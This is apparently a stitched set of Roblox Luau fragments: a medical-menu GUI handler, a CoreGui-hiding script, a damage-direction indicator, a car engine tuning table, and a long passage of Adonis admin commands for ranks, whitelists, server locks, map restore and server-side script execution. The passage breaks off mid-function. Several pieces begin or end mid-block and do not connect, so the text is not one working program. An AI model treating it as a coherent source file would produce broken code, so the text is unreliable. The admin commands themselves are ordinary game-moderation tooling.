--Timer.Barra.Size = UDim2.new(0,0,1,0)
--TS:Create(Timer.Barra, TweenInfo.new(.25), {Size = UDim2.new(1,0,1,0)}):Play()
--wait(.25)
script.Parent.OtherAberto.Visible = true
script.Parent.MedicineAberto.Visible = false
script.Parent.BandagesAberto.Visible = false
--Saude.Variaveis.Doer.Value = false
end
end)
|
--[[This script simply hides the roblox Core GUIs, including the backpack, health, and the leaderboard.
All you need to do is put this script in the StarterPack.
--]]
|
game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Health, false);--Remove this if you want the health bar to be shown.
game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.PlayerList, false);--Remove this if you want the leaderboard to be shown.
game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, false);--Remove this if you want the backpack to be shown.
|
-- Remove from all
|
for i = 1, #Indicator.all do
if self == Indicator.all[i] then
table.remove(Indicator.all, i)
break
end
end
end
function Indicator:setAngle(angleRadians)
if not self.alive then return end
local angleDegrees = angleRadians * (180 / math.pi)
self.frame.Position = UDim2.new(
.5,
math.cos(angleRadians) * radius + self.frame.AbsoluteSize.X / -2,
.5,
math.sin(angleRadians) * radius + self.frame.AbsoluteSize.Y / -2
)
self.frame.Rotation = angleDegrees + 90
end
function Indicator:update()
if tick() >= self.timeExpire then
self:expire()
else
local perc = (tick() - self.timeCreated) / self.time
self:setAngle(getCameraAngle(camera) - angleBetweenPoints(camera.Focus.p, self.position) - math.pi / 2)
self.frame.ImageLabel.ImageTransparency = perc
self.frame.ImageLabel.Size = UDim2.new(0, 50, 0, -50 * (1 - perc))
end
end
function Indicator:updateAll()
local i = 1
while i <= #Indicator.all do
local indicator = Indicator.all[i]
indicator:update()
if indicator.alive then
i = i + 1
end
end
end
|
--[[/Static functions]]
|
GunObject:Initialize()
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 150 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6980 -- Use sliders to manipulate values
Tune.Redline = 8000 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--!nocheck
|
return function(Vargs, env)
local server = Vargs.Server;
local service = Vargs.Service;
local Settings = server.Settings
local Functions, Commands, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Deps =
server.Functions, server.Commands, server.Admin, server.Anti, server.Core, server.HTTP, server.Logs, server.Remote, server.Process, server.Variables, server.Deps
if env then setfenv(1, env) end
local Routine = env.Routine
return {
--[[
--// Unfortunately not viable
Reboot = {
Prefix = ":";
Commands = {"rebootadonis", "reloadadonis"};
Args = {};
Description = "Attempts to force Adonis to reload";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string}, data: {any})
local rebootHandler = server.Deps.RebootHandler:Clone();
if server.Runner then
rebootHandler.mParent.Value = service.UnWrap(server.ModelParent);
rebootHandler.Dropper.Value = service.UnWrap(server.Dropper);
rebootHandler.Runner.Value = service.UnWrap(server.Runner);
rebootHandler.Model.Value = service.UnWrap(server.Model);
rebootHandler.Mode.Value = "REBOOT";
task.wait(0.03)
rebootHandler.Parent = service.ServerScriptService;
rebootHandler.Disabled = false;
task.wait(0.03)
server.CleanUp();
else
error("Unable to reload: Runner missing");
end
end;
};--]]
SetRank = {
Prefix = Settings.Prefix;
Commands = {"setrank", "permrank", "permsetrank"};
Args = {"player/user", "rank"};
Description = "Sets the admin rank of the target user(s); THIS SAVES!";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string}, data: {any})
assert(args[1], "Missing target user (argument #1)")
local rankName = assert(args[2], "Missing rank name (argument #2)")
local newRank = Settings.Ranks[rankName]
if not newRank then
for thisRankName, thisRank in Settings.Ranks do
if thisRankName:lower() == rankName:lower() then
rankName = thisRankName
newRank = thisRank
break
end
end
end
assert(newRank, `No rank named '{rankName}' exists`)
local newLevel = newRank.Level
local senderLevel = data.PlayerData.Level
assert(newLevel < senderLevel, string.format("Rank level (%s) cannot be equal to or above your own level (%s)", newLevel, senderLevel))
for _, p in Functions.GetPlayers(plr, args[1], {NoFakePlayer = false})do
if senderLevel > Admin.GetLevel(p) then
Admin.AddAdmin(p, rankName)
Remote.MakeGui(p, "Notification", {
Title = "Notification";
Message = string.format("You are %s%s. Click to view commands.", if string.lower(string.sub(rankName, 1, 3)) == "the" then "" elseif string.match(rankName, "^[AEIOUaeiou]") and string.lower(string.sub(rankName, 1, 3)) ~= "uni" then "an " else "a ", rankName);
Icon = server.MatIcons.Shield;
Time = 10;
OnClick = Core.Bytecode(`client.Remote.Send('ProcessCommand','{Settings.Prefix}cmds')`);
})
Functions.Hint(`{service.FormatPlayer(p, true)} is now rank {rankName} (Permission Level: {newLevel})`, {plr})
else
Functions.Hint(`You do not have permission to set the rank of {service.FormatPlayer(p, true)}`, {plr})
end
end
end;
};
SetTempRank = {
Prefix = Settings.Prefix;
Commands = {"settemprank", "temprank", "tempsetrank"};
Args = {"player", "rank"};
Description = `Identical to {Settings.Prefix}setrank, but doesn't save`;
AdminLevel = "Admins";
Function = function(plr: Player, args: {string}, data: {any})
assert(args[1], "Missing target player (argument #1)")
local rankName = assert(args[2], "Missing rank name (argument #2)")
local newRank = Settings.Ranks[rankName]
if not newRank then
for thisRankName, thisRank in Settings.Ranks do
if thisRankName:lower() == rankName:lower() then
rankName = thisRankName
newRank = thisRank
break
end
end
end
assert(newRank, `No rank named '{rankName}' exists`)
local newLevel = newRank.Level
local senderLevel = data.PlayerData.Level
assert(newLevel < senderLevel, string.format("Rank level (%s) cannot be equal to or above your own level (%s)", newLevel, senderLevel))
for _, v in service.GetPlayers(plr, args[1]) do
if senderLevel > Admin.GetLevel(v) then
Admin.AddAdmin(v, rankName, true)
Remote.MakeGui(v, "Notification", {
Title = "Notification";
Message = `You are a temp {rankName}. Click to view commands.`;
Icon = server.MatIcons.Shield;
Time = 10;
OnClick = Core.Bytecode(`client.Remote.Send('ProcessCommand','{Settings.Prefix}cmds')`);
})
Functions.Hint(`{service.FormatPlayer(v, true)} is now rank {rankName} (Permission Level: {newLevel})`, {plr})
else
Functions.Hint(`You do not have permission to set the rank of {service.FormatPlayer(v, true)}`, {plr})
end
end
end;
};
SetLevel = {
Prefix = Settings.Prefix;
Commands = {"setlevel", "setadminlevel"};
Args = {"player", "level"};
Description = "Sets the target player(s) permission level for the current server; does not save";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string}, data: {any})
local senderLevel = data.PlayerData.Level
local newLevel = assert(tonumber(args[2]), "Level must be a number")
assert(newLevel < senderLevel, `Level cannot be equal to or above your own permission level ({senderLevel})`);
for _, v in service.GetPlayers(plr, args[1])do
if senderLevel > Admin.GetLevel(v) then
Admin.SetLevel(v, newLevel)--, args[3] == "true")
Remote.MakeGui(v, "Notification", {
Title = "Notification";
Message = `Your admin permission level was set to {newLevel} for this server only. Click to view commands.`;
Icon = server.MatIcons.Shield;
Time = 10;
OnClick = Core.Bytecode(`client.Remote.Send('ProcessCommand','{Settings.Prefix}cmds')`);
})
Functions.Hint(`{service.FormatPlayer(v, true)} is now permission level {newLevel}`, {plr})
else
Functions.Hint(`You do not have permission to set the permission level of {service.FormatPlayer(v, true)}`, {plr})
end
end
end;
};
UnAdmin = {
Prefix = Settings.Prefix;
Commands = {"unadmin", "unmod", "unowner", "unpadmin", "unheadadmin", "unrank"};
Args = {"player/user / list entry", "temp? (true/false) (default: false)"};
Description = "Removes admin/moderator ranks from the target player(s); saves unless <temp> is 'true'";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string}, data: {any})
local target = assert(args[1], "Missing target user (argument #1)")
local temp = args[2] and args[2]:lower() == "true"
local senderLevel = data.PlayerData.Level
local userFound = false
if not target:find(":") then
for _, v in service.GetPlayers(plr, target, {
UseFakePlayer = true;
DontError = true;
})
do
userFound = true
local targLevel, targRank = Admin.GetLevel(v)
if targLevel > 0 then
if senderLevel > targLevel then
Admin.RemoveAdmin(v, temp)
Functions.Hint(string.format("Removed %s from rank %s", service.FormatPlayer(v, true), targRank or "[unknown rank]"), {plr})
Remote.MakeGui(v, "Notification", {
Title = "Notification";
Message = string.format("You are no longer a(n) %s", targRank or "admin");
Icon = server.MatIcons["Remove moderator"];
Time = 10;
})
else
Functions.Hint(`You do not have permission to remove {service.FormatPlayer(v, true)}'s rank`, {plr})
end
else
Functions.Hint(`{service.FormatPlayer(v, true)} does not already have any rank to remove`, {plr})
end
end
if userFound then
return
else
Functions.Hint("User not found in server; searching datastore", {plr})
end
end
for rankName, rankData in Settings.Ranks do
if senderLevel <= rankData.Level then
continue
end
for i, user in rankData.Users do
if not (user:lower() == target:lower() or user:lower():match(`^{target:lower()}:`) or Admin.DoCheck(target, user)) then
continue
end
if
Remote.GetGui(plr, "YesNoPrompt", {
Question = `Remove '{user}' from '{rankName}'?`;
}) == "Yes"
then
table.remove(rankData.Users, i)
if not temp and Settings.SaveAdmins then
service.TrackTask("Thread: RemoveAdmin", Core.DoSave, {
Type = "TableRemove";
Table = {"Settings", "Ranks", rankName, "Users"};
Value = user;
});
Functions.Hint(`Removed entry '{user}' from {rankName}`, {plr})
Logs:AddLog("Script", `{plr} removed {user} from {rankName}`)
end
end
userFound = true
end
end
assert(userFound, `No table entries matching '{args[1]}' were found`)
end
};
TempUnAdmin = {
Prefix = Settings.Prefix;
Commands = {"tempunadmin", "untempadmin", "tunadmin", "untadmin"};
Args = {"player"};
Description = "Removes the target players' admin powers for this server; does not save";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string}, data: {any})
local senderLevel = data.PlayerData.Level
for _, v in service.GetPlayers(plr, assert(args[1], "Missing target player (argument #1)")) do
local targetLevel = Admin.GetLevel(v)
if targetLevel > 0 then
if senderLevel > targetLevel then
Admin.RemoveAdmin(v, true)
Functions.Hint(`Removed {service.FormatPlayer(v)}'s admin powers`, {plr})
Remote.MakeGui(v, "Notification", {
Title = "Notification";
Message = "Your admin powers have been temporarily removed";
Icon = server.MatIcons["Remove moderator"];
Time = 10;
})
else
Functions.Hint(`You do not have permission to remove {service.FormatPlayer(v, true)}'s admin powers`, {plr})
end
else
Functions.Hint(`{service.FormatPlayer(v, true)} is not an admin`, {plr})
end
end
end
};
TempModerator = {
Prefix = Settings.Prefix;
Commands = {"tempmod", "tmod", "tempmoderator", "tmoderator"};
Args = {"player"};
Description = "Makes the target player(s) a temporary moderator; does not save";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string}, data: {any})
local senderLevel = data.PlayerData.Level
for _, v in service.GetPlayers(plr, assert(args[1], "Missing target player (argument #1)")) do
if senderLevel > Admin.GetLevel(v) then
Admin.AddAdmin(v, "Moderators", true)
Remote.MakeGui(v, "Notification", {
Title = "Notification";
Message = "You are a temp moderator. Click to view commands.";
Icon = server.MatIcons.Shield;
Time = 10;
OnClick = Core.Bytecode(`client.Remote.Send('ProcessCommand','{Settings.Prefix}cmds')`);
})
Functions.Hint(`{service.FormatPlayer(v, true)} is now a temp moderator`, {plr})
else
Functions.Hint(`{service.FormatPlayer(v, true)} is already the same admin level as you or higher`, {plr})
end
end
end
};
Moderator = {
Prefix = Settings.Prefix;
Commands = {"permmod", "pmod", "mod", "moderator", "pmoderator"};
Args = {"player/user"};
Description = "Makes the target player(s) a moderator; saves";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string}, data: {any})
local senderLevel = data.PlayerData.Level
for _, v in service.GetPlayers(plr, assert(args[1], "Missing target player (argument #1)"), {
UseFakePlayer = true;
})
do
if senderLevel > Admin.GetLevel(v) then
Admin.AddAdmin(v, "Moderators")
Remote.MakeGui(v, "Notification", {
Title = "Notification";
Message = "You are a moderator. Click to view commands.";
Icon = server.MatIcons.Shield;
Time = 10;
OnClick = Core.Bytecode(`client.Remote.Send('ProcessCommand','{Settings.Prefix}cmds')`);
})
Functions.Hint(`{service.FormatPlayer(v, true)} is now a moderator`, {plr})
else
Functions.Hint(`{service.FormatPlayer(v, true)} is already the same admin level as you or higher`, {plr})
end
end
end
};
Broadcast = {
Prefix = Settings.Prefix;
Commands = {"broadcast", "bc"};
Args = {"Message"};
Filter = true;
Description = "Makes a message in the chat window";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
for _, v in service.GetPlayers() do
Remote.Send(v, "Function", "ChatMessage", string.format("[%s] %s", Settings.SystemTitle, service.Filter(args[1], plr, v)), Color3.fromRGB(255,64,77))
end
end
};
ShutdownLogs = {
Prefix = Settings.Prefix;
Commands = {"shutdownlogs", "shutdownlog", "slogs", "shutdowns"};
Args = {};
Description = "Shows who shutdown or restarted a server and when";
AdminLevel = "Admins";
ListUpdater = function(plr: Player)
local logs = Core.GetData("ShutdownLogs") or {}
local tab = {}
for i, v in logs do
if v.Restart then v.Time ..= " [RESTART]" end
tab[i] = {
Text = `{v.Time}: {v.User}`;
Desc = `Reason: {v.Reason}`;
}
end
return tab
end;
Function = function(plr: Player, args: {string})
Remote.MakeGui(plr, "List", {
Title = "Shutdown Logs";
Table = Logs.ListUpdaters.ShutdownLogs(plr);
Update = "ShutdownLogs";
})
end
};
ServerLock = {
Prefix = Settings.Prefix;
Commands = {"slock", "serverlock", "lockserver"};
Args = {"on/off"};
Description = "Enables/disables server lock";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
local arg = args[1] and string.lower(args[1])
if (not arg and Variables.ServerLock ~= true) or arg == "on" or arg == "true" then
Variables.ServerLock = true
Functions.Hint("Server Locked", service.Players:GetPlayers())
elseif Variables.ServerLock == true or arg == "off" or arg == "false" then
Variables.ServerLock = false
Functions.Hint("Server Unlocked", service.Players:GetPlayers())
end
end
};
Whitelist = {
Prefix = Settings.Prefix;
Commands = {"wl", "enablewhitelist", "whitelist"};
Args = {"on/off/add/remove/list", "optional player"};
Description = "Enables/disables the whitelist; :wl username to add them to the whitelist";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
local sub = string.lower(args[1])
if sub == "on" or sub == "enable" then
Variables.Whitelist.Enabled = true
Functions.Hint("Enabled server whitelist", service.Players:GetPlayers())
elseif sub == "off" or sub == "disable" then
Variables.Whitelist.Enabled = false
Functions.Hint("Disabled server whitelist", service.Players:GetPlayers())
elseif sub == "add" then
if args[2] then
local plrs = service.GetPlayers(plr, args[2], {
DontError = true;
IsServer = false;
IsKicking = false;
NoFakePlayer = false;
})
if #plrs>0 then
for _, v in plrs do
table.insert(Variables.Whitelist.Lists.Settings, `{v.Name}:{v.UserId}`)
Functions.Hint(`Added {service.FormatPlayer(v)} to the whitelist`, {plr})
end
else
table.insert(Variables.Whitelist.Lists.Settings, args[2])
end
else
error("Missing user argument")
end
elseif sub == "remove" then
if args[2] then
for i, v in Variables.Whitelist.Lists.Settings do
if string.sub(string.lower(v), 1,#args[2]) == string.lower(args[2])then
table.remove(Variables.Whitelist.Lists.Settings,i)
Functions.Hint(`Removed {v} from the whitelist`, {plr})
end
end
else
error("Missing user argument")
end
elseif sub == "list" then
local Tab = {}
for Key, List in Variables.Whitelist.Lists do
local Prefix = Key == "Settings" and "" or `[{Key}] `
for _, User in List do
table.insert(Tab, {Text = Prefix .. User, Desc = User})
end
end
Remote.MakeGui(plr, "List", {Title = "Whitelist List"; Tab = Tab;})
else
error("Invalid subcommand (on/off/add/remove/list)")
end
end
};
SystemNotify = {
Prefix = Settings.Prefix;
Commands = {"sn", "systemnotify", "sysnotif", "sysnotify", "systemsmallmessage", "snmessage", "snmsg", "ssmsg", "ssmessage"};
Args = {"message"};
Filter = true;
Description = "Makes a system small message";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
assert(args[1], "Missing message")
for _, v in service.GetPlayers() do
Remote.RemoveGui(v, "Notify")
Remote.MakeGui(v, "Notify", {
Title = Settings.SystemTitle;
Message = service.Filter(args[1], plr, v);
})
end
end
};
Notif = {
Prefix = Settings.Prefix;
Commands = {"setmessage", "notif", "setmsg"};
Args = {"message OR off"};
Filter = true;
Description = "Sets a small hint message at the top of the screen";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
assert(args[1], "Missing message (or enter 'off' to disable)")
if args[1] == "off" or args[1] == "false" then
Variables.NotifMessage = nil
for _, v in service.GetPlayers() do
Remote.RemoveGui(v, "Notif")
end
else
Variables.NotifMessage = args[1]
for _, v in service.GetPlayers() do
Remote.MakeGui(v, "Notif", {
Message = Variables.NotifMessage;
})
end
end
end
};
SetBanMessage = {
Prefix = Settings.Prefix;
Commands = {"setbanmessage", "setbmsg"};
Args = {"message"};
Filter = true;
Description = "Sets the ban message banned players see";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
Variables.BanMessage = assert(args[1], "Missing message (argument #1)")
end
};
SetLockMessage = {
Prefix = Settings.Prefix;
Commands = {"setlockmessage", "slockmsg", "setlmsg"};
Args = {"message"};
Filter = true;
Description = "Sets the lock message unwhitelisted players see if :whitelist or :slock is on";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
Variables.LockMessage = assert(args[1], "Missing message (argument #1)")
end
};
SystemMessage = {
Prefix = Settings.Prefix;
Commands = {"sm", "systemmessage", "sysmsg"};
Args = {"message"};
Filter = true;
Description = "Same as message but says SYSTEM MESSAGE instead of your name, or whatever system message title is server to...";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
assert(args[1], "Missing message (argument #1)")
for _, v in service.Players:GetPlayers() do
Remote.RemoveGui(v, "Message")
Remote.MakeGui(v, "Message", {
Title = Settings.SystemTitle;
Message = args[1];
})
end
end
};
SetCoreGuiEnabled = {
Prefix = Settings.Prefix;
Commands = {"setcoreguienabled", "setcoreenabled", "showcoregui", "setcoregui", "setcgui", "setcore", "setcge"};
Args = {"player", "All/Backpack/Chat/EmotesMenu/Health/PlayerList", "true/false"};
Description = "Enables or disables CoreGui elements for the target player(s)";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
assert(args[3], "Missing state (argument #3)")
local enable = if args[3]:lower() == "on" or args[3]:lower() == "true" then true elseif args[3]:lower() == "off" or args[3]:lower() == "false" then false else nil
assert(enable ~= nil, `Invalid state '{args[3]}'; please supply 'true' or 'false' (argument #3)`)
for _,v in service.GetPlayers(plr, args[1]) do
if string.lower(args[3]) == "on" or string.lower(args[3]) == "true" then
Remote.Send(v, "Function", "SetCoreGuiEnabled", args[2], true)
elseif string.lower(args[3]) == 'off' or string.lower(args[3]) == "false" then
Remote.Send(v, "Function", "SetCoreGuiEnabled", args[2], false)
end
end
end
};
Alert = {
Prefix = Settings.Prefix;
Commands = {"alert", "alarm", "annoy"};
Args = {"player", "message"};
Filter = true;
Description = "Get someone's attention";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
for _, v in service.GetPlayers(plr,string.lower(args[1]))do
Remote.MakeGui(v, "Alert", {Message = args[2] and service.Filter(args[2],plr, v) or "Wake up; Your attention is required"})
end
end
};
LockMap = {
Prefix = Settings.Prefix;
Commands = {"lockmap"};
Args = {};
Description = "Locks the map";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
for _, obj in workspace:GetDescendants()do
if obj:IsA("BasePart")then
obj.Locked = true
end
end
end
};
UnlockMap = {
Prefix = Settings.Prefix;
Commands = {"unlockmap"};
Args = {};
Description = "Unlocks the map";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
for _, obj in workspace:GetDescendants()do
if obj:IsA("BasePart")then
obj.Locked = false
end
end
end
};
BuildingTools = {
Prefix = Settings.Prefix;
Commands = {"btools", "f3x", "buildtools", "buildingtools", "buildertools"};
Args = {"player"};
Description = "Gives the target player(s) F3X building tools.";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
local F3X = service.New("Tool", {
GripPos = Vector3.new(0, 0, 0.4),
CanBeDropped = false,
ManualActivationOnly = false,
ToolTip = "Building Tools by F3X",
Name = "Building Tools"
}, true)
do
service.New("StringValue", {
Name = `__ADONIS_VARIABLES_{Variables.CodeName}`,
Parent = F3X
})
local clonedDeps = Deps.Assets:FindFirstChild("F3X Deps"):Clone()
for _, BaseScript in clonedDeps:GetDescendants() do
if BaseScript:IsA("BaseScript") then
BaseScript.Disabled = false
end
end
for _, Child in clonedDeps:GetChildren() do
Child.Parent = F3X
end
clonedDeps:Destroy()
end
for _, v in service.GetPlayers(plr, args[1]) do
local Backpack = v:FindFirstChildOfClass("Backpack")
if Backpack then
F3X:Clone().Parent = Backpack
end
end
end
};
Insert = {
Prefix = Settings.Prefix;
Commands = {"insert", "ins"};
Args = {"id"};
Description = "Inserts whatever object belongs to the ID you supply, the object must be in the place owner's or ROBLOX's inventory";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
local id = string.lower(args[1])
for i, v in Variables.InsertList do
if id == string.lower(v.Name)then
id = v.ID
break
end
end
for i, v in HTTP.Trello.InsertList do
if id == string.lower(v.Name) then
id = v.ID
break
end
end
local obj = service.Insert(tonumber(id), true)
if obj and plr.Character then
table.insert(Variables.InsertedObjects, obj)
obj.Parent = workspace
pcall(obj.MakeJoints, obj)
obj:PivotTo(plr.Character:GetPivot())
end
end
};
SaveTool = {
Prefix = Settings.Prefix;
Commands = {"addtool", "savetool", "maketool"};
Args = {"optional player", "optional new tool name"};
Description = `Saves the equipped tool to the storage so that it can be inserted using {Settings.Prefix}give`;
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
for _, v in service.GetPlayers(plr, args[1]) do
local tool = v.Character and v.Character:FindFirstChildWhichIsA("BackpackItem")
if tool then
tool = tool:Clone()
if args[2] then tool.Name = args[2] end
tool.Parent = service.UnWrap(Settings.Storage)
Variables.SavedTools[tool] = service.FormatPlayer(plr)
Functions.Hint(`Added tool: {tool.Name}`, {plr})
elseif not args[1] then
error("You must have an equipped tool to add to the storage.")
end
end
end
};
ClearSavedTools = {
Prefix = Settings.Prefix;
Commands = {"clraddedtools", "clearaddedtools", "clearsavedtools", "clrsavedtools"};
Args = {};
Description = `Removes any tools in the storage added using {Settings.Prefix}savetool`;
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
local count = 0
for tool in Variables.SavedTools do
count += 1
tool:Destroy()
end
table.clear(Variables.SavedTools)
Functions.Hint(string.format("Cleared %d saved tool%s.", count, count == 1 and "" or "s"), {plr})
end
};
NewTeam = {
Prefix = Settings.Prefix;
Commands = {"newteam", "createteam", "maketeam"};
Args = {"name", "BrickColor"};
Filter = true;
Description = "Make a new team with the specified name and color";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
local teamName = assert(args[1], "Missing team name (argument #1)")
local teamColor = Functions.ParseBrickColor(args[2])
service.New("Team", {
Parent = service.Teams;
Name = teamName;
TeamColor = teamColor;
AutoAssignable = false;
})
if Settings.CommandFeedback then
Functions.Hint(string.format("Created new team '%s' (%s)", teamName, teamColor.Name), {plr})
end
end
};
RemoveTeam = {
Prefix = Settings.Prefix;
Commands = {"removeteam", "deleteteam"};
Args = {"name"};
Description = "Remove the specified team";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
for _, v in service.Teams:GetTeams() do
if string.sub(string.lower(v.Name), 1, #args[1]) == string.lower(args[1]) then
local ans = Remote.GetGui(plr, "YesNoPrompt", { Question = `Remove team: '{v.Name}'?` })
if ans == "Yes" then
v:Destroy()
return Functions.Hint(`Removed team {v.Name}`, {plr})
else
return Functions.Hint("Cancelled team removal operation", {plr})
end
end
end
end
};
RestoreMap = {
Prefix = Settings.Prefix;
Commands = {"restoremap", "maprestore", "rmap"};
Args = {};
Description = "Restore the map to the the way it was the last time it was backed up";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
local plrName = plr and service.FormatPlayer(plr) or "<SERVER>"
if not Variables.MapBackup then
error("Cannot restore when there are no backup maps!", 0)
return
end
if Variables.RestoringMap then
error("Map has not been backed up",0)
return
end
if Variables.BackingupMap then
error("Cannot restore map while backing up map is in process!", 0)
return
end
Variables.RestoringMap = true
Functions.Hint("Restoring Map...", service.Players:GetPlayers())
for _, obj in workspace:GetChildren() do
if obj.ClassName ~= "Terrain" and not service.Players:GetPlayerFromCharacter(obj) then
obj:Destroy()
service.RunService.Stepped:Wait()
end
end
local new = Variables.MapBackup:Clone()
for _, obj in new:GetChildren() do
obj.Parent = workspace
if obj:IsA("Model") then
obj:MakeJoints()
end
end
new:Destroy()
local Terrain = workspace.Terrain or workspace:FindFirstChildOfClass("Terrain")
if Terrain and Variables.TerrainMapBackup then
Terrain:Clear()
Terrain:PasteRegion(Variables.TerrainMapBackup, Terrain.MaxExtents.Min, true)
end
task.wait()
Admin.RunCommand(`{Settings.Prefix}respawn`, "all")
Variables.RestoringMap = false
Functions.Hint('Map Restore Complete.',service.Players:GetPlayers())
Logs:AddLog("Script", {
Text = "Map Restoration Complete",
Desc = `{plrName} has restored the map.`,
})
end
};
ScriptBuilder = {
Prefix = Settings.Prefix;
Commands = {"scriptbuilder", "scriptb", "sb"};
Args = {"create/remove/edit/close/clear/append/run/stop/list", "localscript/script", "scriptName", "data"};
Description = "[Deprecated] Script Builder; make a script, then edit it and chat it's code or use :sb append <codeHere>";
AdminLevel = "Admins";
Hidden = true;
NoFilter = true;
CrossServerDenied = true;
Function = function(plr: Player, args: {string})
assert(Settings.CodeExecution, "CodeExecution must be enabled for this command to work")
local sb = Variables.ScriptBuilder[tostring(plr.UserId)]
if not sb then
sb = {
Script = {};
LocalScript = {};
Events = {};
}
Variables.ScriptBuilder[tostring(plr.UserId)] = sb
end
local action = string.lower(args[1])
local class = args[2] or "LocalScript"
local name = args[3]
if string.lower(class) == "script" or string.lower(class) == "s" then
class = "Script"
--elseif string.lower(class) == "localscript" or string.lower(class) == "ls" then
-- class = "LocalScript"
else
class = "LocalScript"
end
if action == "create" then
assert(args[1] and args[2] and args[3], "Missing arguments")
local code = args[4] or " "
if sb[class][name] then
pcall(function()
sb[class][name].Script.Disabled = true
sb[class][name].Script:Destroy()
end)
if sb.ChatEvent then
sb.ChatEvent:Disconnect()
end
end
local wrapped,scr = Core.NewScript(class,code,false,true)
sb[class][name] = {
Wrapped = wrapped;
Script = scr;
}
if args[4] then
Functions.Hint(`Created {class} {name} and appended text`, {plr})
else
Functions.Hint(`Created {class} {name}`, {plr})
end
elseif action == "edit" then
assert(args[1] and args[2] and args[3], "Missing arguments")
if sb[class][name] then
local scr = sb[class][name].Script
local tab = Core.GetScript(scr)
if scr and tab then
sb[class][name].Event = plr.Chatted:Connect(function(msg)
if string.sub(msg, 1,#(`{Settings.Prefix}sb`)) ~= `{Settings.Prefix}sb` then
tab.Source ..= `\n{msg}`
Functions.Hint(`Appended message to {class} {name}`, {plr})
end
end)
Functions.Hint(`Now editing {class} {name}; Chats will be appended`, {plr})
end
else
error(`{class} {name} not found!`)
end
elseif action == "close" then
assert(args[1] and args[2] and args[3], "Missing arguments")
local scr = sb[class][name].Script
local tab = Core.GetScript(scr)
if sb[class][name] then
if sb[class][name].Event then
sb[class][name].Event:Disconnect()
sb[class][name].Event = nil
Functions.Hint(`No longer editing {class} {name}`, {plr})
end
else
error(`{class} {name} not found!`)
end
elseif action == "clear" then
assert(args[1] and args[2] and args[3], "Missing arguments")
local scr = sb[class][name].Script
local tab = Core.GetScript(scr)
if scr and tab then
tab.Source = " "
Functions.Hint(`Cleared {class} {name}`, {plr})
else
error(`{class} {name} not found!`)
end
elseif action == "remove" then
assert(args[1] and args[2] and args[3], "Missing arguments")
if sb[class][name] then
pcall(function()
sb[class][name].Script.Disabled = true
sb[class][name].Script:Destroy()
end)
if sb.ChatEvent then
sb.ChatEvent:Disconnect()
sb.ChatEvent = nil
end
sb[class][name] = nil
else
error(`{class} {name} not found!`)
end
elseif action == "append" then
assert(args[1] and args[2] and args[3] and args[4], "Missing arguments")
if sb[class][name] then
local scr = sb[class][name].Script
local tab = Core.GetScript(scr)
if scr and tab then
tab.Source ..= `\n{args[4]}`
Functions.Hint(`Appended message to {class} {name}`, {plr})
end
else
error(`{class} {name} not found!`)
end
elseif action == "run" then
assert(args[1] and args[2] and args[3], "Missing arguments")
if sb[class][name] then
if class == "LocalScript" then
sb[class][name].Script.Parent = plr:FindFirstChildOfClass("Backpack")
else
sb[class][name].Script.Parent = service.ServerScriptService
end
sb[class][name].Script.Disabled = true
task.wait(0.03)
sb[class][name].Script.Disabled = false
Functions.Hint(`Running {class} {name}`, {plr})
else
error(`{class} {name} not found!`)
end
elseif action == "stop" then
assert(args[1] and args[2] and args[3], "Missing arguments")
if sb[class][name] then
sb[class][name].Script.Disabled = true
Functions.Hint(`Stopped {class} {name}`, {plr})
else
error(`{class} {name} not found!`)
end
elseif action == "list" then
local tab = {}
for i, v in sb.Script do
table.insert(tab, {Text = `Script: {i}`, Desc = `Running: {v.Script.Disabled}`})
end
for i, v in sb.LocalScript do
table.insert(tab, {Text = `LocalScript: {i}`, Desc = `Running: {v.Script.Disabled}`})
end
Remote.MakeGui(plr, "List", {Title = "SB Scripts", Table = tab})
end
end
};
MakeScript = {
Prefix = Settings.Prefix;
Commands = {"s", "ss", "serverscript", "sscript", "script", "makescript"};
Args = {"code"};
Description = "Executes the given Lua code on the server";
AdminLevel = "Admins";
NoFilter = true;
CrossServerDenied = true;
Function = function(plr: Player, args: {string})
assert(Settings.CodeExecution, "CodeExecution config must be enabled for this command to work")
assert(args[1], "Missing Script code (argument #2)")
--[[Remote.RemoveGui(plr, "Prompt_MakeScript")
if
plr == false
